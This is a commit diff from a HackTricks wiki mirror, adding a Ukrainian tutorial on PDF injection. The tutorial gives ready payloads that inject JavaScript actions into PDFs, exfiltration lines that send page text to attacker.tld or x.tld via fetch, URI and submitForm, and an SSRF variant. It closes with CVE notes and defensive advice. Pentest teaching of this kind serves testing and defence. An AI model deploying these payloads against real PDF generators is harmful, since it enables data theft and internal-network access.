mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m
This commit is contained in:
parent
6a28d6696e
commit
56289948ef
@ -1,7 +1,55 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
# PDF Injection
|
||||||
|
|
||||||
**Якщо ваш ввід відображається всередині PDF-файлу, ви можете спробувати ввести PDF-дані, щоб виконати JavaScript або вкрасти вміст PDF.**
|
|
||||||
|
|
||||||
Перегляньте пост: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
**Якщо ваш ввід відображається всередині PDF-файлу, ви можете спробувати ввести PDF-дані для виконання JavaScript, виконати SSRF або вкрасти вміст PDF.**
|
||||||
|
Синтаксис PDF надзвичайно ліберальний – якщо ви можете вийти з рядка або словника, який вбудовує ваш ввід, ви можете додати абсолютно нові об'єкти (або нові ключі в тому ж об'єкті), які Acrobat/Chrome з радістю розпарсить.
|
||||||
|
З 2024 року хвиля звітів про баги показала, що *одна неекранована дужка або зворотний слеш достатньо* для повного виконання скрипту.
|
||||||
|
|
||||||
|
## TL;DR – Сучасний робочий процес атаки (2024)
|
||||||
|
1. Знайдіть будь-яке значення, контрольоване користувачем, яке потрапляє всередину **(рядка в дужках)**, `/URI ( … )` або `/JS ( … )` поля в згенерованому PDF.
|
||||||
|
2. Введіть `) ` (закриваючи рядок), за яким слідує один з примітивів нижче, і закінчіть ще однією відкриваючою дужкою, щоб зберегти синтаксис дійсним.
|
||||||
|
3. Доставте шкідливий PDF жертві (або до бекенд-сервісу, який автоматично рендерить файл – чудово для сліпих багів).
|
||||||
|
4. Ваш вантаж виконується в переглядачі PDF:
|
||||||
|
* Chrome / Edge → PDFium Sandbox
|
||||||
|
* Firefox → PDF.js (див. CVE-2024-4367)
|
||||||
|
* Acrobat → Повний JavaScript API (може ексфільтрувати довільний вміст файлів за допомогою `this.getPageNthWord`)
|
||||||
|
|
||||||
|
Приклад (перехоплення посилання на анотацію):
|
||||||
|
```pdf
|
||||||
|
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
|
||||||
|
```
|
||||||
|
*Перший `)` закриває оригінальний рядок URI, після чого ми додаємо новий **Action** словник, який Acrobat виконає, коли користувач натисне на посилання.*
|
||||||
|
|
||||||
|
## Корисні примітиви для ін'єкцій
|
||||||
|
| Мета | Фрагмент Payload | Примітки |
|
||||||
|
|------|-----------------|-------|
|
||||||
|
| **JavaScript при відкритті** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Виконується миттєво при відкритті документа (працює в Acrobat, не в Chrome). |
|
||||||
|
| **JavaScript при натисканні на посилання** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Працює в PDFium та Acrobat, якщо ви контролюєте анотацію `/Link`. |
|
||||||
|
| **Сліпа ексфільтрація даних** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Поєднайте з `this.getPageNthWord` всередині JS, щоб вкрасти вміст. |
|
||||||
|
| **Серверний SSRF** | Те ж саме, що й вище, але націлюйте на внутрішню URL-адресу – чудово, коли PDF рендериться службами бек-офісу, які поважають `/URI`. |
|
||||||
|
| **Перенос рядка для нових об'єктів** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Якщо бібліотека дозволяє вам вставляти символи нового рядка, ви можете створювати абсолютно нові об'єкти. |
|
||||||
|
|
||||||
|
## Трюк сліпої енумерації
|
||||||
|
Гарет Хейз (PortSwigger) випустив однорядковий код, який перераховує кожен об'єкт всередині невідомого документа – зручно, коли ви не можете бачити згенерований PDF:
|
||||||
|
```pdf
|
||||||
|
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
|
||||||
|
```
|
||||||
|
Код ітерує по DOM Acrobat і робить вихідні запити для кожної пари властивість/значення, надаючи вам *JSON-подібний* дамп файлу. Дивіться білу книгу “Portable Data **ex**Filtration” для повної техніки.
|
||||||
|
|
||||||
|
## Реальні помилки (2023-2025)
|
||||||
|
* **CVE-2024-4367** – Випадкове виконання JavaScript у PDF.js Firefox до 4.2.67 обійшло пісочницю з допомогою створеної дії `/JavaScript`.
|
||||||
|
* **Bug bounty 2024-05** – Великий фінансовий технологічний сервіс дозволив нотатки рахунків, надані клієнтом, які потрапили в `/URI`; звіт був оплачений на $10k після демонстрації SSRF до внутрішнього хосту метаданих за допомогою `file:///` URI.
|
||||||
|
* **CVE-2023-26155** – Впровадження команд через `node-qpdf` через несенітізований шлях PDF показує важливість екранування зворотних слешів і дужок навіть *перед* шаром PDF.
|
||||||
|
|
||||||
|
## Захисний шпаргалка
|
||||||
|
1. **Ніколи не конкатенуйте сирий ввід користувача** всередині `(`…`)` рядків або імен. Екрануйте `\`, `(`, `)` відповідно до §7.3 специфікації PDF або використовуйте шістнадцяткові рядки `<...>`.
|
||||||
|
2. Якщо ви створюєте посилання, надавайте перевагу `/URI (https://…)`, які ви *повністю* URL-кодуєте; блокуйте схеми `javascript:` у клієнтських переглядачах.
|
||||||
|
3. Видаляйте або перевіряйте словники `/OpenAction`, `/AA` (додаткові дії), `/Launch`, `/SubmitForm` і `/ImportData` під час обробки PDF.
|
||||||
|
4. На стороні сервера рендеріть ненадійні PDF за допомогою *безголового конвертера* (наприклад, qpdf –decrypt –linearize), який видаляє JavaScript і зовнішні дії.
|
||||||
|
5. Тримайте переглядачі PDF в актуальному стані; PDF.js < 4.2.67 і Acrobat Reader до липня 2024 року дозволяють тривіальне виконання коду.
|
||||||
|
|
||||||
|
## Посилання
|
||||||
|
* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (оновлено травень 2024). <https://portswigger.net/research/portable-data-exfiltration>
|
||||||
|
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (квітень 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user